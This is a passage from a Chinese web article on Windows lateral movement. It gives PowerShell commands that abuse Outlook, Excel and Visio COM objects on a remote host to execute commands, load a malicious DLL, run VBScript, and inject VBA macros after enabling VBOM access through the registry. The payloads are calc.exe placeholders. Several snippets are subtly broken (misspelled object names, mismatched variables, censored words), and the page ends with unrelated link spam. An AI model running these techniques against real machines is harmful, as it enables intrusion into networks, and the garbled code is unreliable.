横向移动：使用COM对象进行横向移动的一些探讨
注意：
目标主机中安装有Visio才能成功利用。
6.Outlook
在Outlook对象允许实例化和任意COM相互作用通过“创建对象”对象 *** 。这使攻击者可以与远程计算机上的COM对象进行交互，这些对象通常不会由DCOM公开。
创建Outlook对象的实例
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) 可以通过通过Outlook创建Shell.Application对象来实现命令行执行：
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .createObject("Shell.Application")
$a.shellExecute(calc.exe)该命令作为Outlook的直接子进程运行。
注意-可以将“ Shell.Application”（已加载的shell32.dll中实现）对象替换为“ Wscript.Shell”.
7.Excel XLL （Excel进程加载恶意的DLL）
XLL库可以扩展Excel，XLL库只是导出特定功能的DLL。Excel.Application对象通过RegisterXLL *** 利用此功能。
$a=?[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.APPLICATION","10.10.10.10")) .RegisterXLL("我们的恶意DLL路径")8.任意脚本执行
通过CreateObject和ScriptControl执行OutlookScript
使用Outlook访问ScriptControl COM类，我们可以利用该字符串运行以字符串格式提供的脚本：
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .CreateObject("b")
$b.language="VBScript"
$b.AddCode('CreateObject("Wcript.Shell").Exec("Calc.exe")')ScriptControl对象是在msscript.ocx中实现的，很少使用，并且合法地加载此对象的Outlook实例是极为罕见的现象。此外，我们可以将加载jscript.dll或vbscript.dll来运行脚本本身。
限制-ScriptControl对象仅在32位版本中可用。由于64位进程无法加载32位inproc对象，因此64位Outlook无法与该对象进行交互。
Visio对象提供了一种直接 *** ，可以使用“ ExecuteLine” *** 从字符串运行VBA的任何代码：
$a=[activator]::CreateInstance([type]::GetTypeFromProgID("a.invisibleapp","10.10.10.10"))
$b=$a.documents.Add("")
$b.Executeline('CreateObject("wscript.Shell").exec("calc.exe")')VBE7.dll和ScrRun.dll已加载到Visio进程中
注意-ExecuteLine *** 仅允许执行一行代码。通过使用冒号（:)符号将语句分隔在一行上，可以绕过此操作。
9.OFFICE无文件宏执行
Office中的VBA引擎模型通常是无法通过编程实现的，需要通过每个应用程序的属性菜单中的“对Visual Basic项目的信任访问”选项来启用。
也可以通过注册表中每个相关Office应用程序HKCU\Software\Microsoft\Office\<office version>\<office application name>\Security\accessVBOM的值来完成此操作。将这些值远程设置为1（例如，通过WMI）可以将VBA宏注入并执行到Excel，Word，PowerPoint和Access中，而无需首先提供带有文档文件的有效负载。
我们使用的宏来运行calc.exe：
下面是我们的宏代码
$a='Sub Execute()'
CreateObject("Wscript.Shell").Exec("calc.exe")
End Sub
Sub AutoOpen()
Excute
end Sub'通过Excel执行：
$b=[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.application"))
$c=$b.Workbooks.Add("")
$c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //注意：这里加载我们上面的宏代码
$b.run("Book1!ThisWorkbook.Execute")
$b.Quit()通过Word执行：
相关文章
免费的电脑数据恢复软件哪个好
免费的电脑数据恢复软件目前相对较少,并且对于免费版软件来说,在文件恢复成功率上也都有所限制,建议尽量选择一些恢复成功率较高的数据恢复软件进行扫描和。 万能数据恢复大师好,下载率和好评率都是最高的,界面...
找黑客改成就犯了什么意思-黑客学什么编程语言好(黑客常用的编程语言
网络黑客设电脑密码有可能是啥 如何黑进他人家手机上(电脑上怎祥黑进手机上) 手机上怎祥阻拦黑客入侵 如何才华变成乐成的人(如何才华变成出色的人) 微信号码被网络黑客盗该怎么办...
卷尺上数字怎么看？教你查看的方法，其实很简
尺子，我们生活中必不可少，可以测试物体的长，宽，高，用在各行各业。有的时候如果没有尺子的话，好多问题都无没解决。今天就以卷尺为例给大家分享一下尺子卷尺的使用方法和要点。 卷尺怎么看 尺子卷尺的使用步...
学生早恋教师应该怎么处理（孙老师引导对待青春期早恋）
喀土穆，家长当真。鸢尾照旧属羊人的生命之花。进修早恋看待怎么应对年华在前进，芳华期早恋不知道爱情如何这样的李沁你们是否也喜欢呢。第二类报名工具需提供小学结业生回户籍。实在是丑，无法再像小时候有中学早恋...
coco奶茶现在开都可还能赚钱吗?什么时候加盟都不晚
跟着人们糊口程度的不绝成长，越来越多的人开始享受糊口的兴趣，吃喝玩乐样样能干。就拿喝来说吧，人们不只仅满意于办理生命的需求了，并且喝的越发的开心，所以休闲饮品行业获得了很大的成长，coco奶茶加盟品牌...
下一站江湖阿木怎么加入 阿木招募方法分享
下一站江湖阿木怎么招募？许多玩家都很想知道，接下来为大家带来下一站江湖阿木招募方法介绍，希望能够帮助到大家。 下一站江湖阿木招募方法 1、主线做到选门派，去杭州桥上，给阿木糖葫芦。 2、再去蓉城...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！